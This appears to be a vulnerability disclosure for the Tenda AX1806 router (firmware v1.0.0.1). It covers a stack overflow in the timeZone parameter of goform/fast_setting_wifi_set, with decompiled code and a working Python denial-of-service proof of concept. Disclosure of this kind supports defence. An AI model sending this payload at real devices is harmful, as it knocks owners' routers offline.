d1tto vuln details History

1 contributor

32 lines (20 sloc) | 940 Bytes

Overview

- The device's official website: https://www.tenda.com.cn/product/AX1806.html
- Firmware download website: https://www.tenda.com.cn/download/detail-3306.html

Affected version

v1.0.0.1

Vulnerability details

tdhttpd in directory /bin has a stack overflow vulnerability. The vulnerability occurrs in the form_fast_setting_wifi_set function, which can be accessed through the URL `goform/fast_setting_wifi_set` .

```
LABEL_30:
  printf("[%s]{%d}:set power = %s\n", "form_fast_setting_wifi_power", 799, v12);
  v25 = 0;
  v26 = 0;
  v14 = websGetVar(a1, "timeZone", (int)&byte_1C2CF0);
  v15 = v14;
  if ( *v14 )
  {
    v16 = v14 + 1;
    if ( v16 )
    {
      if ( _isoc99_sscanf(v16, "%[^:]:%s", v35, &v35[1]) == 2 )
      {
        if ( *v15 == 45 )
          v17 = 12 - atoi((const char *)v35);
        else
```

The function takes the POST parameter `timeZone`, does not validate its length, and copies it directly to local variables on the stack, causing stack overflows.

PoC

Poc of Denial of Service(DoS)

```
import requests

data = {
    b"ssid": b'A',
    b"timeZone": b"A"*0x100 + b":" + b"A"*0x400
}
res = requests.post("http://127.0.0.1/goform/fast_setting_wifi_set", data=data)
print(res.content)
```